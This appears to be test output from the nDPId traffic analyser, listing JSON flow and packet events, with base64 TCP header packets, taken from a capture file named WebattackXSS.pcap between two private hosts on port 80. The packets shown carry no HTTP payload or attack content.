+00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2292,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":6,"flow_first_seen":1499347172098,"flow_last_seen":1499347177661,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54362,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2292,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":6,"flow_first_seen":1499347172098,"flow_last_seen":1499347177661,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54362,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2292,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":6,"flow_first_seen":1499347173373,"flow_last_seen":1499347178662,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54376,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2292,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":6,"flow_first_seen":1499347173373,"flow_last_seen":1499347178662,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54376,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2292,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":6,"flow_first_seen":1499347174667,"flow_last_seen":1499347180662,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54390,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2292,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":6,"flow_first_seen":1499347174667,"flow_last_seen":1499347180662,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54390,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2292,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":6,"flow_first_seen":1499347177248,"flow_last_seen":1499347182663,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54416,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2292,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":6,"flow_first_seen":1499347177248,"flow_last_seen":1499347182663,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54416,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2295,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_first_seen":1499347243333,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55118,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":161,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2295,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347243,"pkt_ts_usec":333607,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA87MZAAD4G2QmsEAABwKgKMtdOAFA1pxnaAAAAAKACchBBjgAAAgQFtAQCCAoBOfUcAAAAAAEDAwc="} +00444{"flow_id":161,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2296,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347243,"pkt_ts_usec":333746,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ104lyvYYNacZ26AScSBcFAAAAgQFtAQCCAoD48aSATn1HAEDAwc="} +00432{"flow_id":161,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2297,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347243,"pkt_ts_usec":334298,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07MdAAD4G2RCsEAABwKgKMtdOAFA1pxnbJcr2GYAQAOX7GwAAAQEICgE59RwD48aS"} +00432{"flow_id":158,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2301,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347243,"pkt_ts_usec":682335,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0N5tAAD4Gjj2sEAABwKgKMtcYAFCMG8eykLi3gYARAOXPSwAAAQEICgE59XMD48Ge"} +00432{"flow_id":158,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2302,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347243,"pkt_ts_usec":683316,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0cWtAAEAGUm3AqAoyrBAAAQBQ1xiQuLeBjBvHs4ARAOPKAAAAAQEICgPjxuoBOfVz"} +00433{"flow_id":158,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2303,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347243,"pkt_ts_usec":683907,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0N5xAAD4GjjysEAABwKgKMtcYAFCMG8ezkLi3goAQAOXJ\/QAAAQEICgE59XQD48bq"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2307,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_first_seen":1499347244580,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55132,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":162,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2307,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347244,"pkt_ts_usec":580438,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8UrJAAD4Gcx6sEAABwKgKMtdcAFCKtaTmAAAAAKACchBgLQAAAgQFtAQCCAoBOfZUAAAAAAEDAwc="} +00444{"flow_id":162,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2308,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347244,"pkt_ts_usec":580563,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ11yGUuJUirWk56AScSAstwAAAgQFtAQCCAoD48fKATn2VAEDAwc="} +00432{"flow_id":162,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2309,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347244,"pkt_ts_usec":581330,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UrNAAD4GcyWsEAABwKgKMtdcAFCKtaTnhlLiVYAQAOXLvgAAAQEICgE59lQD48fK"} +00432{"flow_id":159,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2313,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347244,"pkt_ts_usec":682818,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0d9dAAD4GTgGsEAABwKgKMtcmAFDWiYa4BVBH7IARAOW+kgAAAQEICgE59m4D48LY"} +00432{"flow_id":159,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2314,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347244,"pkt_ts_usec":683027,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0gAhAAEAGQ9DAqAoyrBAAAQBQ1yYFUEfs1omGuYARAOO5hwAAAQEICgPjx+QBOfZu"} +00432{"flow_id":159,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2315,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347244,"pkt_ts_usec":683776,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0d9hAAD4GTgCsEAABwKgKMtcmAFDWiYa5BVBH7YAQAOW5hQAAAQEICgE59m4D48fk"} +00432{"flow_id":160,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2322,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347246,"pkt_ts_usec":683725,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LjxAAD4Gl5ysEAABwKgKMtc0AFB5mNymbfSsA4ARAOX1mQAAAQEICgE5+GID48QW"} +00432{"flow_id":160,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2323,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347246,"pkt_ts_usec":683972,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ZdtAAEAGXf3AqAoyrBAAAQBQ1zRt9KwDeZjcp4ARAOPv2AAAAQEICgPjydgBOfhi"} +00432{"flow_id":160,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2324,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347246,"pkt_ts_usec":684535,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Lj1AAD4Gl5usEAABwKgKMtc0AFB5mNynbfSsBIAQAOXv1gAAAQEICgE5+GID48nY"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2328,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":1,"flow_first_seen":1499347247114,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55158,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":163,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2328,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347247,"pkt_ts_usec":114373,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8GLNAAD4GrR2sEAABwKgKMtd2AFApn+B+AAAAAKACchCDGAAAAgQFtAQCCAoBOfjNAAAAAAEDAwc="} +00445{"flow_id":163,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2329,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347247,"pkt_ts_usec":114501,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ13ZCBl2jKZ\/gf6AScSAWJgAAAgQFtAQCCAoD48pEATn4zQEDAwc="} +00433{"flow_id":163,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2330,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347247,"pkt_ts_usec":115246,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GLRAAD4GrSSsEAABwKgKMtd2AFApn+B\/QgZdpIAQAOW1LAAAAQEICgE5+M4D48pE"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2337,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":1,"flow_first_seen":1499347248373,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55172,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":164,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2337,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347248,"pkt_ts_usec":373777,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8JiRAAD4Gn6ysEAABwKgKMteEAFBjB9wsAAAAAKACchBMuQAAAgQFtAQCCAoBOfoIAAAAAAEDAwc="} +00444{"flow_id":164,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2338,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347248,"pkt_ts_usec":373899,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ14RKuW9xYwfcLaAScSDECwAAAgQFtAQCCAoD48t+ATn6CAEDAwc="} +00432{"flow_id":164,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2339,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347248,"pkt_ts_usec":374677,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JiVAAD4Gn7OsEAABwKgKMteEAFBjB9wtSrlvcoAQAOVjEgAAAQEICgE5+gkD48t+"} +00432{"flow_id":161,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2343,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347248,"pkt_ts_usec":683699,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07MhAAD4G2Q+sEAABwKgKMtdOAFA1pxnbJcr2GYARAOX14AAAAQEICgE5+lYD48aS"} +00432{"flow_id":161,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2344,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347248,"pkt_ts_usec":683941,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0PdVAAEAGhgPAqAoyrBAAAQBQ104lyvYZNacZ3IARAOPwpwAAAQEICgPjy8wBOfpW"} +00432{"flow_id":161,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2345,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347248,"pkt_ts_usec":684497,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07MlAAD4G2Q6sEAABwKgKMtdOAFA1pxncJcr2GoAQAOXwpQAAAQEICgE5+lYD48vM"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2349,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_first_seen":1499347249651,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55186,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":165,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2349,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347249,"pkt_ts_usec":651918,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ostAAD4GIwWsEAABwKgKMteSAFAC31mDAAAAAKACchAuPQAAAgQFtAQCCAoBOftIAAAAAAEDAwc="} +00444{"flow_id":165,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2350,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347249,"pkt_ts_usec":652052,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ15JGEK8pAt9ZhKAScSBpQAAAAgQFtAQCCAoD48y+ATn7SAEDAwc="} +00432{"flow_id":165,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2351,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347249,"pkt_ts_usec":652642,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0osxAAD4GIwysEAABwKgKMteSAFAC31mERhCvKoAQAOUISAAAAQEICgE5+0gD48y+"} +00432{"flow_id":162,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2355,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347249,"pkt_ts_usec":684234,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UrRAAD4GcySsEAABwKgKMtdcAFCKtaTnhlLiVYARAOXGwQAAAQEICgE5+1AD48fK"} +00432{"flow_id":162,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2356,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347249,"pkt_ts_usec":684434,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0LpNAAEAGlUXAqAoyrBAAAQBQ11yGUuJVirWk6IARAOPBxgAAAQEICgPjzMYBOftQ"} +00432{"flow_id":162,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2357,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347249,"pkt_ts_usec":685220,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UrVAAD4GcyOsEAABwKgKMtdcAFCKtaTohlLiVoAQAOXBxAAAAQEICgE5+1AD48zG"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2367,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_first_seen":1499347252179,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55212,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":166,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2367,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347252,"pkt_ts_usec":179696,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86Q5AAD4G3MGsEAABwKgKMtesAFDOJxTOAAAAAKACchClFwAAAgQFtAQCCAoBOf3AAAAAAAEDAwc="} +00444{"flow_id":166,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2368,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347252,"pkt_ts_usec":179824,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ16ypaMjNzicUz6AScSBgpgAAAgQFtAQCCAoD4882ATn9wAEDAwc="} +00434{"flow_id":166,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2369,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347252,"pkt_ts_usec":180563,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06Q9AAD4G3MisEAABwKgKMtesAFDOJxTPqWjIzoAQAOX\/rQAAAQEICgE5\/cAD4882"} +00434{"flow_id":163,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2373,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347252,"pkt_ts_usec":685189,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GLVAAD4GrSOsEAABwKgKMtd2AFApn+B\/QgZdpIARAOWvuwAAAQEICgE5\/j4D48pE"} +00433{"flow_id":163,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2374,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347252,"pkt_ts_usec":685442,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0khBAAEAGMcjAqAoyrBAAAQBQ13ZCBl2kKZ\/ggIARAOOqTAAAAQEICgPjz7QBOf4+"} +00433{"flow_id":163,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2375,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347252,"pkt_ts_usec":685993,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GLZAAD4GrSKsEAABwKgKMtd2AFApn+CAQgZdpYAQAOWqSgAAAQEICgE5\/j4D48+0"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":6,"flow_first_seen":1499347178540,"flow_last_seen":1499347183663,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54430,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} 